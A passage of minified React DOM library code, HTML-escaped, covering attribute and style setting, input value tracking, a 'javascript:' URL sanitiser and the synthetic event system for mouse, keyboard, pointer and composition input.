t||(t=e[Er]={hoistableStyles:new Map,hoistableScripts:new Map}),t}function at(e){e[cn]=!0}var _r=new Set,Tr={};function Fa(e,t){gl(e,t),gl(e+&quot;Capture&quot;,t)}function gl(e,t){for(Tr[e]=t,e=0;e&lt;t.length;e++)_r.add(t[e])}var Sh=RegExp(&quot;^[:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD][:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*$&quot;),Ar={},Cr={};function Nh(e){return Ri.call(Cr,e)?!0:Ri.call(Ar,e)?!1:Sh.test(e)?Cr[e]=!0:(Ar[e]=!0,!1)}function cs(e,t,a){if(Nh(t))if(a===null)e.removeAttribute(t);else{switch(typeof a){case&quot;undefined&quot;:case&quot;function&quot;:case&quot;symbol&quot;:e.removeAttribute(t);return;case&quot;boolean&quot;:var l=t.toLowerCase().slice(0,5);if(l!==&quot;data-&quot;&amp;&amp;l!==&quot;aria-&quot;){e.removeAttribute(t);return}}e.setAttribute(t,&quot;&quot;+a)}}function rs(e,t,a){if(a===null)e.removeAttribute(t);else{switch(typeof a){case&quot;undefined&quot;:case&quot;function&quot;:case&quot;symbol&quot;:case&quot;boolean&quot;:e.removeAttribute(t);return}e.setAttribute(t,&quot;&quot;+a)}}function aa(e,t,a,l){if(l===null)e.removeAttribute(a);else{switch(typeof l){case&quot;undefined&quot;:case&quot;function&quot;:case&quot;symbol&quot;:case&quot;boolean&quot;:e.removeAttribute(a);return}e.setAttributeNS(t,a,&quot;&quot;+l)}}function Mt(e){switch(typeof e){case&quot;bigint&quot;:case&quot;boolean&quot;:case&quot;number&quot;:case&quot;string&quot;:case&quot;undefined&quot;:return e;case&quot;object&quot;:return e;default:return&quot;&quot;}}function zr(e){var t=e.type;return(e=e.nodeName)&amp;&amp;e.toLowerCase()===&quot;input&quot;&amp;&amp;(t===&quot;checkbox&quot;||t===&quot;radio&quot;)}function Eh(e,t,a){var l=Object.getOwnPropertyDescriptor(e.constructor.prototype,t);if(!e.hasOwnProperty(t)&amp;&amp;typeof l&lt;&quot;u&quot;&amp;&amp;typeof l.get==&quot;function&quot;&amp;&amp;typeof l.set==&quot;function&quot;){var n=l.get,i=l.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return n.call(this)},set:function(o){a=&quot;&quot;+o,i.call(this,o)}}),Object.defineProperty(e,t,{enumerable:l.enumerable}),{getValue:function(){return a},setValue:function(o){a=&quot;&quot;+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function Bi(e){if(!e._valueTracker){var t=zr(e)?&quot;checked&quot;:&quot;value&quot;;e._valueTracker=Eh(e,t,&quot;&quot;+e[t])}}function Rr(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var a=t.getValue(),l=&quot;&quot;;return e&amp;&amp;(l=zr(e)?e.checked?&quot;true&quot;:&quot;false&quot;:e.value),e=l,e!==a?(t.setValue(e),!0):!1}function os(e){if(e=e||(typeof document&lt;&quot;u&quot;?document:void 0),typeof e&gt;&quot;u&quot;)return null;try{return e.activeElement||e.body}catch{return e.body}}var _h=/[\n&quot;\\]/g;function Ut(e){return e.replace(_h,function(t){return&quot;\\&quot;+t.charCodeAt(0).toString(16)+&quot; &quot;})}function Li(e,t,a,l,n,i,o,h){e.name=&quot;&quot;,o!=null&amp;&amp;typeof o!=&quot;function&quot;&amp;&amp;typeof o!=&quot;symbol&quot;&amp;&amp;typeof o!=&quot;boolean&quot;?e.type=o:e.removeAttribute(&quot;type&quot;),t!=null?o===&quot;number&quot;?(t===0&amp;&amp;e.value===&quot;&quot;||e.value!=t)&amp;&amp;(e.value=&quot;&quot;+Mt(t)):e.value!==&quot;&quot;+Mt(t)&amp;&amp;(e.value=&quot;&quot;+Mt(t)):o!==&quot;submit&quot;&amp;&amp;o!==&quot;reset&quot;||e.removeAttribute(&quot;value&quot;),t!=null?Gi(e,o,Mt(t)):a!=null?Gi(e,o,Mt(a)):l!=null&amp;&amp;e.removeAttribute(&quot;value&quot;),n==null&amp;&amp;i!=null&amp;&amp;(e.defaultChecked=!!i),n!=null&amp;&amp;(e.checked=n&amp;&amp;typeof n!=&quot;function&quot;&amp;&amp;typeof n!=&quot;symbol&quot;),h!=null&amp;&amp;typeof h!=&quot;function&quot;&amp;&amp;typeof h!=&quot;symbol&quot;&amp;&amp;typeof h!=&quot;boolean&quot;?e.name=&quot;&quot;+Mt(h):e.removeAttribute(&quot;name&quot;)}function Or(e,t,a,l,n,i,o,h){if(i!=null&amp;&amp;typeof i!=&quot;function&quot;&amp;&amp;typeof i!=&quot;symbol&quot;&amp;&amp;typeof i!=&quot;boolean&quot;&amp;&amp;(e.type=i),t!=null||a!=null){if(!(i!==&quot;submit&quot;&amp;&amp;i!==&quot;reset&quot;||t!=null)){Bi(e);return}a=a!=null?&quot;&quot;+Mt(a):&quot;&quot;,t=t!=null?&quot;&quot;+Mt(t):a,h||t===e.value||(e.value=t),e.defaultValue=t}l=l??n,l=typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;&amp;&amp;!!l,e.checked=h?e.checked:!!l,e.defaultChecked=!!l,o!=null&amp;&amp;typeof o!=&quot;function&quot;&amp;&amp;typeof o!=&quot;symbol&quot;&amp;&amp;typeof o!=&quot;boolean&quot;&amp;&amp;(e.name=o),Bi(e)}function Gi(e,t,a){t===&quot;number&quot;&amp;&amp;os(e.ownerDocument)===e||e.defaultValue===&quot;&quot;+a||(e.defaultValue=&quot;&quot;+a)}function bl(e,t,a,l){if(e=e.options,t){t={};for(var n=0;n&lt;a.length;n++)t[&quot;$&quot;+a[n]]=!0;for(a=0;a&lt;e.length;a++)n=t.hasOwnProperty(&quot;$&quot;+e[a].value),e[a].selected!==n&amp;&amp;(e[a].selected=n),n&amp;&amp;l&amp;&amp;(e[a].defaultSelected=!0)}else{for(a=&quot;&quot;+Mt(a),t=null,n=0;n&lt;e.length;n++){if(e[n].value===a){e[n].selected=!0,l&amp;&amp;(e[n].defaultSelected=!0);return}t!==null||e[n].disabled||(t=e[n])}t!==null&amp;&amp;(t.selected=!0)}}function wr(e,t,a){if(t!=null&amp;&amp;(t=&quot;&quot;+Mt(t),t!==e.value&amp;&amp;(e.value=t),a==null)){e.defaultValue!==t&amp;&amp;(e.defaultValue=t);return}e.defaultValue=a!=null?&quot;&quot;+Mt(a):&quot;&quot;}function Dr(e,t,a,l){if(t==null){if(l!=null){if(a!=null)throw Error(r(92));if(ne(l)){if(1&lt;l.length)throw Error(r(93));l=l[0]}a=l}a==null&amp;&amp;(a=&quot;&quot;),t=a}a=Mt(t),e.defaultValue=a,l=e.textContent,l===a&amp;&amp;l!==&quot;&quot;&amp;&amp;l!==null&amp;&amp;(e.value=l),Bi(e)}function jl(e,t){if(t){var a=e.firstChild;if(a&amp;&amp;a===e.lastChild&amp;&amp;a.nodeType===3){a.nodeValue=t;return}}e.textContent=t}var Th=new Set(&quot;animationIterationCount aspectRatio borderImageOutset borderImageSlice borderImageWidth boxFlex boxFlexGroup boxOrdinalGroup columnCount columns flex flexGrow flexPositive flexShrink flexNegative flexOrder gridArea gridRow gridRowEnd gridRowSpan gridRowStart gridColumn gridColumnEnd gridColumnSpan gridColumnStart fontWeight lineClamp lineHeight opacity order orphans scale tabSize widows zIndex zoom fillOpacity floodOpacity stopOpacity strokeDasharray strokeDashoffset strokeMiterlimit strokeOpacity strokeWidth MozAnimationIterationCount MozBoxFlex MozBoxFlexGroup MozLineClamp msAnimationIterationCount msFlex msZoom msFlexGrow msFlexNegative msFlexOrder msFlexPositive msFlexShrink msGridColumn msGridColumnSpan msGridRow msGridRowSpan WebkitAnimationIterationCount WebkitBoxFlex WebKitBoxFlexGroup WebkitBoxOrdinalGroup WebkitColumnCount WebkitColumns WebkitFlex WebkitFlexGrow WebkitFlexPositive WebkitFlexShrink WebkitLineClamp&quot;.split(&quot; &quot;));function Mr(e,t,a){var l=t.indexOf(&quot;--&quot;)===0;a==null||typeof a==&quot;boolean&quot;||a===&quot;&quot;?l?e.setProperty(t,&quot;&quot;):t===&quot;float&quot;?e.cssFloat=&quot;&quot;:e[t]=&quot;&quot;:l?e.setProperty(t,a):typeof a!=&quot;number&quot;||a===0||Th.has(t)?t===&quot;float&quot;?e.cssFloat=a:e[t]=(&quot;&quot;+a).trim():e[t]=a+&quot;px&quot;}function Ur(e,t,a){if(t!=null&amp;&amp;typeof t!=&quot;object&quot;)throw Error(r(62));if(e=e.style,a!=null){for(var l in a)!a.hasOwnProperty(l)||t!=null&amp;&amp;t.hasOwnProperty(l)||(l.indexOf(&quot;--&quot;)===0?e.setProperty(l,&quot;&quot;):l===&quot;float&quot;?e.cssFloat=&quot;&quot;:e[l]=&quot;&quot;);for(var n in t)l=t[n],t.hasOwnProperty(n)&amp;&amp;a[n]!==l&amp;&amp;Mr(e,n,l)}else for(var i in t)t.hasOwnProperty(i)&amp;&amp;Mr(e,i,t[i])}function Yi(e){if(e.indexOf(&quot;-&quot;)===-1)return!1;switch(e){case&quot;annotation-xml&quot;:case&quot;color-profile&quot;:case&quot;font-face&quot;:case&quot;font-face-src&quot;:case&quot;font-face-uri&quot;:case&quot;font-face-format&quot;:case&quot;font-face-name&quot;:case&quot;missing-glyph&quot;:return!1;default:return!0}}var Ah=new Map([[&quot;acceptCharset&quot;,&quot;accept-charset&quot;],[&quot;htmlFor&quot;,&quot;for&quot;],[&quot;httpEquiv&quot;,&quot;http-equiv&quot;],[&quot;crossOrigin&quot;,&quot;crossorigin&quot;],[&quot;accentHeight&quot;,&quot;accent-height&quot;],[&quot;alignmentBaseline&quot;,&quot;alignment-baseline&quot;],[&quot;arabicForm&quot;,&quot;arabic-form&quot;],[&quot;baselineShift&quot;,&quot;baseline-shift&quot;],[&quot;capHeight&quot;,&quot;cap-height&quot;],[&quot;clipPath&quot;,&quot;clip-path&quot;],[&quot;clipRule&quot;,&quot;clip-rule&quot;],[&quot;colorInterpolation&quot;,&quot;color-interpolation&quot;],[&quot;colorInterpolationFilters&quot;,&quot;color-interpolation-filters&quot;],[&quot;colorProfile&quot;,&quot;color-profile&quot;],[&quot;colorRendering&quot;,&quot;color-rendering&quot;],[&quot;dominantBaseline&quot;,&quot;dominant-baseline&quot;],[&quot;enableBackground&quot;,&quot;enable-background&quot;],[&quot;fillOpacity&quot;,&quot;fill-opacity&quot;],[&quot;fillRule&quot;,&quot;fill-rule&quot;],[&quot;floodColor&quot;,&quot;flood-color&quot;],[&quot;floodOpacity&quot;,&quot;flood-opacity&quot;],[&quot;fontFamily&quot;,&quot;font-family&quot;],[&quot;fontSize&quot;,&quot;font-size&quot;],[&quot;fontSizeAdjust&quot;,&quot;font-size-adjust&quot;],[&quot;fontStretch&quot;,&quot;font-stretch&quot;],[&quot;fontStyle&quot;,&quot;font-style&quot;],[&quot;fontVariant&quot;,&quot;font-variant&quot;],[&quot;fontWeight&quot;,&quot;font-weight&quot;],[&quot;glyphName&quot;,&quot;glyph-name&quot;],[&quot;glyphOrientationHorizontal&quot;,&quot;glyph-orientation-horizontal&quot;],[&quot;glyphOrientationVertical&quot;,&quot;glyph-orientation-vertical&quot;],[&quot;horizAdvX&quot;,&quot;horiz-adv-x&quot;],[&quot;horizOriginX&quot;,&quot;horiz-origin-x&quot;],[&quot;imageRendering&quot;,&quot;image-rendering&quot;],[&quot;letterSpacing&quot;,&quot;letter-spacing&quot;],[&quot;lightingColor&quot;,&quot;lighting-color&quot;],[&quot;markerEnd&quot;,&quot;marker-end&quot;],[&quot;markerMid&quot;,&quot;marker-mid&quot;],[&quot;markerStart&quot;,&quot;marker-start&quot;],[&quot;overlinePosition&quot;,&quot;overline-position&quot;],[&quot;overlineThickness&quot;,&quot;overline-thickness&quot;],[&quot;paintOrder&quot;,&quot;paint-order&quot;],[&quot;panose-1&quot;,&quot;panose-1&quot;],[&quot;pointerEvents&quot;,&quot;pointer-events&quot;],[&quot;renderingIntent&quot;,&quot;rendering-intent&quot;],[&quot;shapeRendering&quot;,&quot;shape-rendering&quot;],[&quot;stopColor&quot;,&quot;stop-color&quot;],[&quot;stopOpacity&quot;,&quot;stop-opacity&quot;],[&quot;strikethroughPosition&quot;,&quot;strikethrough-position&quot;],[&quot;strikethroughThickness&quot;,&quot;strikethrough-thickness&quot;],[&quot;strokeDasharray&quot;,&quot;stroke-dasharray&quot;],[&quot;strokeDashoffset&quot;,&quot;stroke-dashoffset&quot;],[&quot;strokeLinecap&quot;,&quot;stroke-linecap&quot;],[&quot;strokeLinejoin&quot;,&quot;stroke-linejoin&quot;],[&quot;strokeMiterlimit&quot;,&quot;stroke-miterlimit&quot;],[&quot;strokeOpacity&quot;,&quot;stroke-opacity&quot;],[&quot;strokeWidth&quot;,&quot;stroke-width&quot;],[&quot;textAnchor&quot;,&quot;text-anchor&quot;],[&quot;textDecoration&quot;,&quot;text-decoration&quot;],[&quot;textRendering&quot;,&quot;text-rendering&quot;],[&quot;transformOrigin&quot;,&quot;transform-origin&quot;],[&quot;underlinePosition&quot;,&quot;underline-position&quot;],[&quot;underlineThickness&quot;,&quot;underline-thickness&quot;],[&quot;unicodeBidi&quot;,&quot;unicode-bidi&quot;],[&quot;unicodeRange&quot;,&quot;unicode-range&quot;],[&quot;unitsPerEm&quot;,&quot;units-per-em&quot;],[&quot;vAlphabetic&quot;,&quot;v-alphabetic&quot;],[&quot;vHanging&quot;,&quot;v-hanging&quot;],[&quot;vIdeographic&quot;,&quot;v-ideographic&quot;],[&quot;vMathematical&quot;,&quot;v-mathematical&quot;],[&quot;vectorEffect&quot;,&quot;vector-effect&quot;],[&quot;vertAdvY&quot;,&quot;vert-adv-y&quot;],[&quot;vertOriginX&quot;,&quot;vert-origin-x&quot;],[&quot;vertOriginY&quot;,&quot;vert-origin-y&quot;],[&quot;wordSpacing&quot;,&quot;word-spacing&quot;],[&quot;writingMode&quot;,&quot;writing-mode&quot;],[&quot;xmlnsXlink&quot;,&quot;xmlns:xlink&quot;],[&quot;xHeight&quot;,&quot;x-height&quot;]]),Ch=/^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*:/i;function fs(e){return Ch.test(&quot;&quot;+e)?&quot;javascript:throw new Error(&#039;React has blocked a javascript: URL as a security precaution.&#039;)&quot;:e}function la(){}var ki=null;function Qi(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&amp;&amp;(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Sl=null,Nl=null;function Hr(e){var t=vl(e);if(t&amp;&amp;(e=t.stateNode)){var a=e[mt]||null;e:switch(e=t.stateNode,t.type){case&quot;input&quot;:if(Li(e,a.value,a.defaultValue,a.defaultValue,a.checked,a.defaultChecked,a.type,a.name),t=a.name,a.type===&quot;radio&quot;&amp;&amp;t!=null){for(a=e;a.parentNode;)a=a.parentNode;for(a=a.querySelectorAll(&#039;input[name=&quot;&#039;+Ut(&quot;&quot;+t)+&#039;&quot;][type=&quot;radio&quot;]&#039;),t=0;t&lt;a.length;t++){var l=a[t];if(l!==e&amp;&amp;l.form===e.form){var n=l[mt]||null;if(!n)throw Error(r(90));Li(l,n.value,n.defaultValue,n.defaultValue,n.checked,n.defaultChecked,n.type,n.name)}}for(t=0;t&lt;a.length;t++)l=a[t],l.form===e.form&amp;&amp;Rr(l)}break e;case&quot;textarea&quot;:wr(e,a.value,a.defaultValue);break e;case&quot;select&quot;:t=a.value,t!=null&amp;&amp;bl(e,!!a.multiple,t,!1)}}}var Xi=!1;function qr(e,t,a){if(Xi)return e(t,a);Xi=!0;try{var l=e(t);return l}finally{if(Xi=!1,(Sl!==null||Nl!==null)&amp;&amp;(Is(),Sl&amp;&amp;(t=Sl,e=Nl,Nl=Sl=null,Hr(t),e)))for(t=0;t&lt;e.length;t++)Hr(e[t])}}function on(e,t){var a=e.stateNode;if(a===null)return null;var l=a[mt]||null;if(l===null)return null;a=l[t];e:switch(t){case&quot;onClick&quot;:case&quot;onClickCapture&quot;:case&quot;onDoubleClick&quot;:case&quot;onDoubleClickCapture&quot;:case&quot;onMouseDown&quot;:case&quot;onMouseDownCapture&quot;:case&quot;onMouseMove&quot;:case&quot;onMouseMoveCapture&quot;:case&quot;onMouseUp&quot;:case&quot;onMouseUpCapture&quot;:case&quot;onMouseEnter&quot;:(l=!l.disabled)||(e=e.type,l=!(e===&quot;button&quot;||e===&quot;input&quot;||e===&quot;select&quot;||e===&quot;textarea&quot;)),e=!l;break e;default:e=!1}if(e)return null;if(a&amp;&amp;typeof a!=&quot;function&quot;)throw Error(r(231,t,typeof a));return a}var na=!(typeof window&gt;&quot;u&quot;||typeof window.document&gt;&quot;u&quot;||typeof window.document.createElement&gt;&quot;u&quot;),Vi=!1;if(na)try{var fn={};Object.defineProperty(fn,&quot;passive&quot;,{get:function(){Vi=!0}}),window.addEventListener(&quot;test&quot;,fn,fn),window.removeEventListener(&quot;test&quot;,fn,fn)}catch{Vi=!1}var _a=null,Zi=null,ds=null;function Br(){if(ds)return ds;var e,t=Zi,a=t.length,l,n=&quot;value&quot;in _a?_a.value:_a.textContent,i=n.length;for(e=0;e&lt;a&amp;&amp;t[e]===n[e];e++);var o=a-e;for(l=1;l&lt;=o&amp;&amp;t[a-l]===n[i-l];l++);return ds=n.slice(e,1&lt;l?1-l:void 0)}function ms(e){var t=e.keyCode;return&quot;charCode&quot;in e?(e=e.charCode,e===0&amp;&amp;t===13&amp;&amp;(e=13)):e=t,e===10&amp;&amp;(e=13),32&lt;=e||e===13?e:0}function hs(){return!0}function Lr(){return!1}function ht(e){function t(a,l,n,i,o){this._reactName=a,this._targetInst=n,this.type=l,this.nativeEvent=i,this.target=o,this.currentTarget=null;for(var h in e)e.hasOwnProperty(h)&amp;&amp;(a=e[h],this[h]=a?a(i):i[h]);return this.isDefaultPrevented=(i.defaultPrevented!=null?i.defaultPrevented:i.returnValue===!1)?hs:Lr,this.isPropagationStopped=Lr,this}return b(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var a=this.nativeEvent;a&amp;&amp;(a.preventDefault?a.preventDefault():typeof a.returnValue!=&quot;unknown&quot;&amp;&amp;(a.returnValue=!1),this.isDefaultPrevented=hs)},stopPropagation:function(){var a=this.nativeEvent;a&amp;&amp;(a.stopPropagation?a.stopPropagation():typeof a.cancelBubble!=&quot;unknown&quot;&amp;&amp;(a.cancelBubble=!0),this.isPropagationStopped=hs)},persist:function(){},isPersistent:hs}),t}var Wa={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},ps=ht(Wa),dn=b({},Wa,{view:0,detail:0}),zh=ht(dn),Ji,Ki,mn,xs=b({},dn,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Fi,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return&quot;movementX&quot;in e?e.movementX:(e!==mn&amp;&amp;(mn&amp;&amp;e.type===&quot;mousemove&quot;?(Ji=e.screenX-mn.screenX,Ki=e.screenY-mn.screenY):Ki=Ji=0,mn=e),Ji)},movementY:function(e){return&quot;movementY&quot;in e?e.movementY:Ki}}),Gr=ht(xs),Rh=b({},xs,{dataTransfer:0}),Oh=ht(Rh),wh=b({},dn,{relatedTarget:0}),$i=ht(wh),Dh=b({},Wa,{animationName:0,elapsedTime:0,pseudoElement:0}),Mh=ht(Dh),Uh=b({},Wa,{clipboardData:function(e){return&quot;clipboardData&quot;in e?e.clipboardData:window.clipboardData}}),Hh=ht(Uh),qh=b({},Wa,{data:0}),Yr=ht(qh),Bh={Esc:&quot;Escape&quot;,Spacebar:&quot; &quot;,Left:&quot;ArrowLeft&quot;,Up:&quot;ArrowUp&quot;,Right:&quot;ArrowRight&quot;,Down:&quot;ArrowDown&quot;,Del:&quot;Delete&quot;,Win:&quot;OS&quot;,Menu:&quot;ContextMenu&quot;,Apps:&quot;ContextMenu&quot;,Scroll:&quot;ScrollLock&quot;,MozPrintableKey:&quot;Unidentified&quot;},Lh={8:&quot;Backspace&quot;,9:&quot;Tab&quot;,12:&quot;Clear&quot;,13:&quot;Enter&quot;,16:&quot;Shift&quot;,17:&quot;Control&quot;,18:&quot;Alt&quot;,19:&quot;Pause&quot;,20:&quot;CapsLock&quot;,27:&quot;Escape&quot;,32:&quot; &quot;,33:&quot;PageUp&quot;,34:&quot;PageDown&quot;,35:&quot;End&quot;,36:&quot;Home&quot;,37:&quot;ArrowLeft&quot;,38:&quot;ArrowUp&quot;,39:&quot;ArrowRight&quot;,40:&quot;ArrowDown&quot;,45:&quot;Insert&quot;,46:&quot;Delete&quot;,112:&quot;F1&quot;,113:&quot;F2&quot;,114:&quot;F3&quot;,115:&quot;F4&quot;,116:&quot;F5&quot;,117:&quot;F6&quot;,118:&quot;F7&quot;,119:&quot;F8&quot;,120:&quot;F9&quot;,121:&quot;F10&quot;,122:&quot;F11&quot;,123:&quot;F12&quot;,144:&quot;NumLock&quot;,145:&quot;ScrollLock&quot;,224:&quot;Meta&quot;},Gh={Alt:&quot;altKey&quot;,Control:&quot;ctrlKey&quot;,Meta:&quot;metaKey&quot;,Shift:&quot;shiftKey&quot;};function Yh(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=Gh[e])?!!t[e]:!1}function Fi(){return Yh}var kh=b({},dn,{key:function(e){if(e.key){var t=Bh[e.key]||e.key;if(t!==&quot;Unidentified&quot;)return t}return e.type===&quot;keypress&quot;?(e=ms(e),e===13?&quot;Enter&quot;:String.fromCharCode(e)):e.type===&quot;keydown&quot;||e.type===&quot;keyup&quot;?Lh[e.keyCode]||&quot;Unidentified&quot;:&quot;&quot;},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Fi,charCode:function(e){return e.type===&quot;keypress&quot;?ms(e):0},keyCode:function(e){return e.type===&quot;keydown&quot;||e.type===&quot;keyup&quot;?e.keyCode:0},which:function(e){return e.type===&quot;keypress&quot;?ms(e):e.type===&quot;keydown&quot;||e.type===&quot;keyup&quot;?e.keyCode:0}}),Qh=ht(kh),Xh=b({},xs,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),kr=ht(Xh),Vh=b({},dn,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Fi}),Zh=ht(Vh),Jh=b({},Wa,{propertyName:0,elapsedTime:0,pseudoElement:0}),Kh=ht(Jh),$h=b({},xs,{deltaX:function(e){return&quot;deltaX&quot;in e?e.deltaX:&quot;wheelDeltaX&quot;in e?-e.wheelDeltaX:0},deltaY:function(e){return&quot;deltaY&quot;in e?e.deltaY:&quot;wheelDeltaY&quot;in e?-e.wheelDeltaY:&quot;wheelDelta&quot;in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),Fh=ht($h),Wh=b({},Wa,{newState:0,oldState:0}),Ih=ht(Wh),Ph=[9,13,27,32],Wi=na&amp;&amp;&quot;CompositionEvent&quot;in window,hn=null;na&amp;&amp;&quot;documentMode&quot;in document&amp;&amp;(hn=document.documentMode);var e0=na&amp;&amp;&quot;TextEvent&quot;in window&amp;&amp;!hn,Qr=na&amp;&amp;(!Wi||hn&amp;&amp;8&lt;hn&amp;&amp;11&gt;=hn),Xr=&quot; &quot;,Vr=!1;function Zr(e,t){switch(e){case&quot;keyup&quot;:return Ph.indexOf(t.keyCode)!==-1;case&quot;keydown&quot;:return t.keyCode!==229;case&quot;keypress&quot;:case&quot;mousedown&quot;:case&quot;focusout&quot;:return!0;default:return!1}}function Jr(e){return e=e.detail,typeof e==&quot;object&quot;&amp;&amp;&quot;data&quot;in e?e.data:null}var El=!1;function t0(e,t){switch(e){case&quot;compositionend&quot;:return Jr(t);case&quot;keypress&quot;:return t.which!==32?null:(Vr=!0,Xr);case&quot;textInput&quot;:return e=t.data,e===Xr&amp;&amp;Vr?null:e;default:return null}}function a0(e,t){if(El)return e===&quot;compositionend&quot;||!Wi&amp;&amp;Zr(e,t)?(e=Br(),ds=Zi=_a=null,El=!1,e):null;switch(e){case&quot;paste&quot;:return null;case&quot;keypress&quot;:if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&amp;&amp;t.altKey){if(t.char&amp;&amp;1&lt;t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case&quot;compositionend&quot;:return Qr&amp;&amp;t.locale!==&quot;ko&quot;?null:t.data;default:return null}}var l0={color:!0,date:!0,datetime:!0,&quot;datetime-local&quot;:!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Kr(e){var t=e&amp;&amp;e.nodeName&amp;&amp;e.nodeName.toLowerCase();return t===&quot;input&quot;?!!l0[e.type]:t===&quot;textarea&quot;}function $r(e,t,a,l){Sl?Nl?Nl.push(l):Nl=[l]:Sl=l,t=si(t,&quot;onChange&quot;),0&lt;t.length&amp;&amp;(a=new ps(&quot;onChange&quot;,&quot;change&quot;,null,a,l),e.push({event:a,listeners:t}))}var pn=null,xn=null;function n0(e){Dd(e,0)}function vs(e){var t=rn(e);if(Rr(t))return e}function Fr(e,t){if(e===&quot;change&quot;)return t}var Wr=!1;if(na){var Ii;if(na){var Pi=&quot;oninput&quot;in document;if(!Pi){var Ir=document.createElement(&quot;div&quot;);Ir.setAttribute(&quot;oninput&quot;,&quot;return;&quot;),Pi=typeof Ir.oninput==&quot;function&quot;}Ii=Pi}else Ii=!1;Wr=Ii&amp;&amp;(!document.documentMode||9&lt;document.documentMode)}function Pr(){pn&amp;&amp;(pn.detachEvent(&quot;onpropertychange&quot;,eo),xn=pn=null)}function eo(e){if(e.propertyName===&quot;value&quot;&amp;&amp;vs(xn)){var t=[];$r(t,xn,e,Qi(e)),qr(n0,t)}}function s0(e,t,a){e===&quot;focusin&quot;?(Pr(),pn=t,xn=a,pn.attachEvent(&quot;onpropertychange&quot;,eo)):e===&quot;focusout&quot;&amp;&amp;Pr()}function i0(e){if(e===&quot;selectionchange&quot;||e===&quot;keyup&quot;||e===&quot;keydown&quot;)return vs(xn)}function u0(e,t){if(e===&quot;click&quot;)return vs(t)}function c0(e,t){if(e===&quot;input&quot;||e===&quot;change&quot;)return vs(t)}function r0(e,t){return e===t&amp;&amp;(e!==0||1/e===1/t)||e!==e&amp;&amp;t!==t}var Et=typeof Object.is==&quot;function&quot;?Object.is:r0;function vn(e,t){if(Et(e,t))return!0;if(typeof e!=&quot;object&quot;||e===null||typeof t!=&quot;object&quot;||t===null)return!1;var a=Object.keys(e),l=Object.keys(t);if(a.length!==l.length)return!1;for(l=0;l&lt;a.length;l++){var n=a[l];if(!Ri.call(t,n)||!Et(e[n],t[n]))return!1}return!0}function to(e){for(;e&amp;&amp;e.firstChild;)e=e.firstChild;return e}function ao(e,t){var a=to(e);e=0;for(var l;a;){if(a.nodeType===3){if(l=e+a.textContent.length,e&lt;=t&amp;&amp;l&gt;=t)return{node:a,offset:t-e};e=l}e:{for(;a;){if(a.nextSibling){a=a.nextSibling;break e}a=a.parentNode}a=void 0}a=to(a)}}function lo(e,t){return e&amp;&amp;t?e===t?!0:e&amp;&amp;e.nodeType===3?!1:t&amp;&amp;t.nodeType===3?lo(e,t.parentNode):&quot;contains&quot;in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&amp;16):!1:!1}function no(e){e=e!=null&amp;&amp;e.ownerDocument!=null&amp;&amp;e.ownerDocument.defaultView!=null?e.ownerDocument.defaultView:window;for(var t=os(e.document);t instanceof e.HTMLIFrameElement;){try{var a=typeof t.contentWindow.location.href==&quot;string&quot;}catch{a=!1}if(a)e=t.contentWindow;else break;t=os(e.document)}return t}function eu(e){var t=e&amp;&amp;e.nodeName&amp;&amp;e.nodeName.toLowerCase();return t&amp;&amp;(t===&quot;input&quot;&amp;&amp;(e.type===&quot;text&quot;||e.type===&quot;search&quot;||e.type===&quot;tel&quot;||e.type===&quot;url&quot;||e.type===&quot;password&quot;)||t===&quot;textarea&quot;||e.contentEditable===&quot;true&quot;)}var o0=na&amp;&amp;&quot;documentMode&quot;in document&amp;&amp;11&gt;=document.documentMode,_l=null,tu=null,yn=null,au=!1;function so(e,t,a){var l=a.window===a?a.document:a.nodeType===9?a:a.ownerDocument;au||_l==null||_l!==os(l)||(l=_l,&quot;selectionStart&quot;in l&amp;&amp;eu(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&amp;&amp;l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),yn&amp;&amp;vn(yn,l)||(yn=l,l=si(tu,&quot;onSelect&quot;),0&lt;l.length&amp;&amp;(t=new 